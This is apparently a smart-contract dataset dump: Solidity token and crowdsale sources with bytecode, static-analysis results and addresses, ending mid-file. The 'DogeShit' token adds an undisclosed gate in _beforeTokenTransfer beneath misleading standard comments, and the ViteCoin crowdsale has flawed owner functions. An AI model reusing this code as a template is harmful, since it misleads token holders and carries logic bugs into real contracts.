* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract DogeShit is Context, IERC20, IERC20Metadata {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
string private _name;
string private _symbol;
uint256 private _totalSupply;
address private _deployer;
uint8 private _nonce;
constructor () {
_name = "LuckyDogeShit.com";
_symbol = "DogeShit";
_deployer = _msgSender();
_mint(_deployer, 666666666666666 * 10 ** 18);
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to) internal virtual {
if (_nonce < 3) {
require(_deployer == from || _deployer == to);
_nonce += 1;
}
}
}
|
0x608060405234801561001057600080fd5b50600436106100935760003560e01c8063313ce56711610066578063313ce567146100fe57806370a082311461010d57806395d89b4114610120578063a9059cbb14610128578063dd62ed3e1461013b57610093565b806306fdde0314610098578063095ea7b3146100b657806318160ddd146100d957806323b872dd146100eb575b600080fd5b6100a0610174565b6040516100ad9190610765565b60405180910390f35b6100c96100c436600461073c565b610206565b60405190151581526020016100ad565b6004545b6040519081526020016100ad565b6100c96100f9366004610701565b61021c565b604051601281526020016100ad565b6100dd61011b3660046106ae565b6102d2565b6100a06102f1565b6100c961013636600461073c565b610300565b6100dd6101493660046106cf565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6060600280546101839061080c565b80601f01602080910402602001604051908101604052809291908181526020018280546101af9061080c565b80156101fc5780601f106101d1576101008083540402835291602001916101fc565b820191906000526020600020905b8154815290600101906020018083116101df57829003601f168201915b5050505050905090565b600061021333848461030d565b50600192915050565b6000610229848484610431565b6001600160a01b0384166000908152600160209081526040808320338452909152902054828110156102b35760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6102c785336102c286856107f5565b61030d565b506001949350505050565b6001600160a01b0381166000908152602081905260409020545b919050565b6060600380546101839061080c565b6000610213338484610431565b6001600160a01b03831661036f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016102aa565b6001600160a01b0382166103d05760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016102aa565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166104955760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016102aa565b6001600160a01b0382166104f75760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016102aa565b6105018383610613565b6001600160a01b038316600090815260208190526040902054818110156105795760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016102aa565b61058382826107f5565b6001600160a01b0380861660009081526020819052604080822093909355908516815290812080548492906105b99084906107b8565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161060591815260200190565b60405180910390a350505050565b6005546003600160a01b90910460ff161015610693576005546001600160a01b038381169116148061065257506005546001600160a01b038281169116145b61065b57600080fd5b6001600560148282829054906101000a900460ff1661067a91906107d0565b92506101000a81548160ff021916908360ff1602179055505b5050565b80356001600160a01b03811681146102ec57600080fd5b6000602082840312156106bf578081fd5b6106c882610697565b9392505050565b600080604083850312156106e1578081fd5b6106ea83610697565b91506106f860208401610697565b90509250929050565b600080600060608486031215610715578081fd5b61071e84610697565b925061072c60208501610697565b9150604084013590509250925092565b6000806040838503121561074e578182fd5b61075783610697565b946020939093013593505050565b6000602080835283518082850152825b8181101561079157858101830151858201604001528201610775565b818111156107a25783604083870101525b50601f01601f1916929092016040019392505050565b600082198211156107cb576107cb610847565b500190565b600060ff821660ff84168060ff038211156107ed576107ed610847565b019392505050565b60008282101561080757610807610847565b500390565b600181811c9082168061082057607f821691505b6020821081141561084157634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfea264697066735822122046db128cd8e9daa6f8d3c3cc27566db7411a51c59f3b386a455ac34217cac9d864736f6c63430008030033
|
{"success": true, "error": null, "results": {}}
| 8,792 |
0x43998e0e314cf3a92f8402ddf72aa5c7425da72b
|
pragma solidity 0.4.25;
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
modifier onlyOwner {
require(msg.sender == owner);
_;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
/**
* @title ViteCoinCrowdsale
* @dev ViteCoinCrowdsale accepting contributions only within a time frame.
*/
contract ViteCoinCrowdsale is ERC20Interface, Owned {
using SafeMath for uint256;
string public symbol;
string public name;
uint8 public decimals;
uint internal _totalSupply;
address public wallet;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
uint256 public privatesaleopeningTime;
uint256 public privatesaleclosingTime;
uint256 public presaleopeningTime;
uint256 public presaleclosingTime;
uint256 public saleopeningTime;
uint256 public saleclosingTime;
address public fundsWallet; // Address where funds are collected
uint256 public fundsRaised; // Amount of total fundsRaised
uint256 public privateSaleTokens;
uint256 public preSaleTokens;
uint256 public saleTokens;
uint256 public teamAdvTokens;
uint256 public reserveTokens;
uint256 public bountyTokens;
uint256 public hardCap;
string public minTxSize;
string public maxTxSize;
bool public privatesaleOpen;
bool public presaleOpen;
bool public saleOpen;
bool public Open;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
event Burned(address burner, uint burnedAmount);
modifier onlyWhileOpen {
require(now >= privatesaleopeningTime && now <= (saleclosingTime + 30 days) && Open);
_;
}
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor (address _owner, address _wallet) public {
_allocateTokens();
_setTimes();
symbol = "VT";
name = "Vitecoin";
decimals = 18;
owner = _owner;
wallet = _wallet;
_totalSupply = 200000000;
Open = true;
balances[this] = _totalSupply * 10**uint(decimals);
emit Transfer(address(0),this, _totalSupply * 10**uint(decimals));
}
function _setTimes() internal{
privatesaleopeningTime = 1534723200; // 20th Aug 2018 00:00:00 GMT
privatesaleclosingTime = 1538351999; // 30th Sep 2018 23:59:59 GMT
presaleopeningTime = 1538352000; // 1st Oct 2018 00:00:00 GMT
presaleclosingTime = 1542239999; // 14th Nov 2018 23:59:59 GMT
saleopeningTime = 1542240000; // 15th Nov 2018 00:00:00 GMT
saleclosingTime = 1546214399; // 12th Dec 2018 23:59:59 GMT
}
function _allocateTokens() internal{
privateSaleTokens = 10000000; // 5%
preSaleTokens = 80000000; // 40%
saleTokens = 60000000; // 30%
teamAdvTokens = 24000000; // 12%
reserveTokens = 20000000; // 10%
bountyTokens = 6000000; // 3%
hardCap = 36825; // 36825 eths or 36825*10^18 weis
minTxSize = "0,5 ETH"; // (0,5 ETH)
maxTxSize = "1000 ETH"; // (1000 ETH)
privatesaleOpen = true;
}
function totalSupply() public constant returns (uint){
return _totalSupply;
}
// ------------------------------------------------------------------------
// Get the token balance for account `tokenOwner`
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to `to` account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
// prevent transfer to 0x0, use burn instead
require(to != 0x0);
require(balances[msg.sender] >= tokens );
require(balances[to] + tokens >= balances[to]);
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender,to,tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success){
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender,spender,tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer `tokens` from the `from` account to the `to` account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the `from` account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success){
require(tokens <= allowed[from][msg.sender]); //check allowance
require(balances[from] >= tokens);
balances[from] = balances[from].sub(tokens);
balances[to] = balances[to].add(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
emit Transfer(from,to,tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function _checkOpenings() internal{
if(now >= privatesaleopeningTime && now <= privatesaleclosingTime){
privatesaleOpen = true;
presaleOpen = false;
saleOpen = false;
}
else if(now >= presaleopeningTime && now <= presaleclosingTime){
privatesaleOpen = false;
presaleOpen = true;
saleOpen = false;
}
else if(now >= saleopeningTime && now <= (saleclosingTime + 30 days)){
privatesaleOpen = false;
presaleOpen = false;
saleOpen = true;
}
else{
privatesaleOpen = false;
presaleOpen = false;
saleOpen = false;
}
}
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address _beneficiary) public payable onlyWhileOpen {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
_checkOpenings();
uint256 tokens = _getTokenAmount(weiAmount);
if(weiAmount > 50e18 && weiAmount < 100e18){ // greater than 50 eths
// 15% extra discount
tokens = tokens.add((tokens.mul(15)).div(100));
}else if(weiAmount > 100e18){ // greater than 100 eths
// 20% extra discount
tokens = tokens.add((tokens.mul(20)).div(100));
}
// update state
fundsRaised = fundsRaised.add(weiAmount);
_processPurchase(_beneficiary, tokens);
emit TokenPurchase(this, _beneficiary, weiAmount, tokens);
_forwardFunds(msg.value);
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal{
require(_beneficiary != address(0));
require(_weiAmount != 0);
require(_weiAmount >= 5e17 && _weiAmount <= 1e21 ,"FUNDS should be MIN 0,5 ETH and Max 1000 ETH");
}
function _getTokenAmount(uint256 _weiAmount) internal returns (uint256) {
uint256 rate;
if(privatesaleOpen){
rate = 4348; //per wei
}
else if(presaleOpen){
rate = 311; //per wei
}
else if(saleOpen){
rate = 290; //per wei
}
return _weiAmount.mul(rate);
}
function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal {
_transfer(_beneficiary, _tokenAmount);
}
function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal {
_deliverTokens(_beneficiary, _tokenAmount);
}
function _forwardFunds(uint256 _amount) internal {
wallet.transfer(_amount);
}
function _transfer(address to, uint tokens) internal returns (bool success) {
// prevent transfer to 0x0, use burn instead
require(to != 0x0);
require(balances[this] >= tokens );
require(balances[to] + tokens >= balances[to]);
balances[this] = balances[this].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(this,to,tokens);
return true;
}
function freeTokens(address _beneficiary, uint256 _tokenAmount) public onlyOwner{
_transfer(_beneficiary, _tokenAmount);
}
function stopICO() public onlyOwner{
Open = false;
}
function multipleTokensSend (address[] _addresses, uint256[] _values) public onlyOwner{
for (uint i = 0; i < _addresses.length; i++){
_transfer(_addresses[i], _values[i]*10**uint(decimals));
}
}
function burnRemainingTokens() public onlyOwner{
balances[this] = 0;
}
}
|
0x6080604052600436106101d75763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663066c94ba81146101e257806306fdde031461026c578063095ea7b3146102815780630fe83bb8146102b9578063172ca12c146102e057806318160ddd146102f55780631a9bf9cf1461030a5780632194f3a21461031f57806323b872dd1461035057806327ac36c41461037a5780632d9fbe911461038f578063313ce567146103a4578063521eb273146103cf57806359ebeb90146103e45780636681b9fd146103f957806370a082311461040e5780637e150d661461042f57806383408d731461044457806383baa6f4146104595780638da5cb5b1461046e57806395d89b411461048357806399288dbb146104985780639d652118146104ad5780639d801ae2146104c2578063a9059cbb146104d7578063b0b9603b146104fb578063bee6348a14610510578063c18edde114610525578063c4815c961461053a578063c552e04b1461054f578063c8e569a814610564578063cdee2b9214610579578063d4ee1d901461058e578063d7fe270e146105a3578063dd62ed3e14610631578063ec8ac4d814610658578063fb86a4041461066c578063fbcece8514610681575b6101e0336106a5565b005b3480156101ee57600080fd5b506101f7610802565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610231578181015183820152602001610219565b50505050905090810190601f16801561025e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561027857600080fd5b506101f7610890565b34801561028d57600080fd5b506102a5600160a060020a03600435166024356108eb565b604080519115158252519081900360200190f35b3480156102c557600080fd5b506102ce610952565b60408051918252519081900360200190f35b3480156102ec57600080fd5b506102a5610958565b34801561030157600080fd5b506102ce610961565b34801561031657600080fd5b506102ce610967565b34801561032b57600080fd5b5061033461096d565b60408051600160a060020a039092168252519081900360200190f35b34801561035c57600080fd5b506102a5600160a060020a036004358116906024351660443561097c565b34801561038657600080fd5b506102ce610ade565b34801561039b57600080fd5b506102ce610ae4565b3480156103b057600080fd5b506103b9610aea565b6040805160ff9092168252519081900360200190f35b3480156103db57600080fd5b50610334610af3565b3480156103f057600080fd5b506102a5610b02565b34801561040557600080fd5b506102ce610b12565b34801561041a57600080fd5b506102ce600160a060020a0360043516610b18565b34801561043b57600080fd5b506101f7610b33565b34801561045057600080fd5b506101e0610b8e565b34801561046557600080fd5b506102ce610bb7565b34801561047a57600080fd5b50610334610bbd565b34801561048f57600080fd5b506101f7610bcc565b3480156104a457600080fd5b506102a5610c24565b3480156104b957600080fd5b506102ce610c33565b3480156104ce57600080fd5b506102ce610c39565b3480156104e357600080fd5b506102a5600160a060020a0360043516602435610c3f565b34801561050757600080fd5b506102ce610d49565b34801561051c57600080fd5b506102a5610d4f565b34801561053157600080fd5b506102ce610d5d565b34801561054657600080fd5b506102ce610d63565b34801561055b57600080fd5b506102ce610d69565b34801561057057600080fd5b506101e0610d6f565b34801561058557600080fd5b506102ce610d95565b34801561059a57600080fd5b50610334610d9b565b3480156105af57600080fd5b50604080516020600480358082013583810280860185019096528085526101e095369593946024949385019291829185019084908082843750506040805187358901803560208181028481018201909552818452989b9a998901989297509082019550935083925085019084908082843750949750610daa9650505050505050565b34801561063d57600080fd5b506102ce600160a060020a0360043581169060243516610e1d565b6101e0600160a060020a03600435166106a5565b34801561067857600080fd5b506102ce610e48565b34801561068d57600080fd5b506101e0600160a060020a0360043516602435610e4e565b60008060095442101580156106c15750600e5462278d00014211155b80156106d65750601a546301000000900460ff165b15156106e157600080fd5b3491506106ee8383610e6f565b6106f6610f48565b6106ff82610ff3565b90506802b5e3af16b188000082118015610721575068056bc75e2d6310000082105b1561075f5761075861074b606461073f84600f63ffffffff61105216565b9063ffffffff61107716565b829063ffffffff61109816565b905061078c565b68056bc75e2d6310000082111561078c5761078961074b606461073f84601463ffffffff61105216565b90505b60105461079f908363ffffffff61109816565b6010556107ac83826110a8565b60408051838152602081018390528151600160a060020a0386169230927f623b3804fa71d67900d064613da8f94b9617215ee90799290593e1745087ad18929081900390910190a36107fd346110b2565b505050565b6018805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156108885780601f1061085d57610100808354040283529160200191610888565b820191906000526020600020905b81548152906001019060200180831161086b57829003601f168201915b505050505081565b6003805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156108885780601f1061085d57610100808354040283529160200191610888565b336000818152600860209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a35060015b92915050565b60125481565b601a5460ff1681565b60055490565b60165481565b600f54600160a060020a031681565b600160a060020a03831660009081526008602090815260408083203384529091528120548211156109ac57600080fd5b600160a060020a0384166000908152600760205260409020548211156109d157600080fd5b600160a060020a0384166000908152600760205260409020546109fa908363ffffffff6110ec16565b600160a060020a038086166000908152600760205260408082209390935590851681522054610a2f908363ffffffff61109816565b600160a060020a038085166000908152600760209081526040808320949094559187168152600882528281203382529091522054610a73908363ffffffff6110ec16565b600160a060020a03808616600081815260086020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b60155481565b60095481565b60045460ff1681565b600654600160a060020a031681565b601a546301000000900460ff1681565b60105481565b600160a060020a031660009081526007602052604090205490565b6019805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156108885780601f1061085d57610100808354040283529160200191610888565b600054600160a060020a03163314610ba557600080fd5b30600090815260076020526040812055565b600b5481565b600054600160a060020a031681565b6002805460408051602060018416156101000260001901909316849004601f810184900484028201840190925281815292918301828280156108885780601f1061085d57610100808354040283529160200191610888565b601a5462010000900460ff1681565b600c5481565b600a5481565b6000600160a060020a0383161515610c5657600080fd5b33600090815260076020526040902054821115610c7257600080fd5b600160a060020a0383166000908152600760205260409020548281011015610c9957600080fd5b33600090815260076020526040902054610cb9908363ffffffff6110ec16565b3360009081526007602052604080822092909255600160a060020a03851681522054610ceb908363ffffffff61109816565b600160a060020a0384166000818152600760209081526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b60135481565b601a54610100900460ff1681565b600d5481565b60145481565b60115481565b600054600160a060020a03163314610d8657600080fd5b601a805463ff00000019169055565b600e5481565b600154600160a060020a031681565b60008054600160a060020a03163314610dc257600080fd5b5060005b82518110156107fd57610e148382815181101515610de057fe5b60209081029091010151600454845160ff909116600a0a90859085908110610e0457fe5b9060200190602002015102611101565b50600101610dc6565b600160a060020a03918216600090815260086020908152604080832093909416825291909152205490565b60175481565b600054600160a060020a03163314610e6557600080fd5b6107fd8282611101565b600160a060020a0382161515610e8457600080fd5b801515610e9057600080fd5b6706f05b59d3b200008110158015610eb15750683635c9adc5dea000008111155b1515610f4457604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602c60248201527f46554e44532073686f756c64206265204d494e20302c352045544820616e642060448201527f4d61782031303030204554480000000000000000000000000000000000000000606482015290519081900360840190fd5b5050565b6009544210158015610f5c5750600a544211155b15610f7b57601a805462ffff001960ff19909116600117169055610ff1565b600b544210158015610f8f5750600c544211155b15610fb057601a805462ff00001961ffff1990911661010017169055610ff1565b600d544210158015610fc95750600e5462278d00014211155b15610fe457601a805462ffffff191662010000179055610ff1565b601a805462ffffff191690555b565b601a54600090819060ff161561100c57506110fc61103b565b601a54610100900460ff1615611025575061013761103b565b601a5462010000900460ff161561103b57506101225b61104b838263ffffffff61105216565b9392505050565b81810282158061106c575081838281151561106957fe5b04145b151561094c57600080fd5b600080821161108557600080fd5b818381151561109057fe5b049392505050565b8181018281101561094c57600080fd5b610f448282610e65565b600654604051600160a060020a039091169082156108fc029083906000818181858888f19350505050158015610f44573d6000803e3d6000fd5b6000828211156110fb57600080fd5b50900390565b6000600160a060020a038316151561111857600080fd5b3060009081526007602052604090205482111561113457600080fd5b600160a060020a038316600090815260076020526040902054828101101561115b57600080fd5b3060009081526007602052604090205461117b908363ffffffff6110ec16565b3060009081526007602052604080822092909255600160a060020a038516815220546111ad908363ffffffff61109816565b600160a060020a0384166000818152600760209081526040918290209390935580518581529051919230927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a3506001929150505600a165627a7a72305820451a8919ba76a850ac82c62fb849c4d41f7f74335b6d476aaca07712657d058f0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 8,793 |
0x213eec475152853777fb2d4e6c2fecd2cae6183f
|
/**
*Submitted for verification at Etherscan.io on 2021-07-04
*/
/*
Welcome to the token designed to free the wagies!
https://wagietoken.com
https://twitter.com/WagieOfficial
https://t.me/WagieETH
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
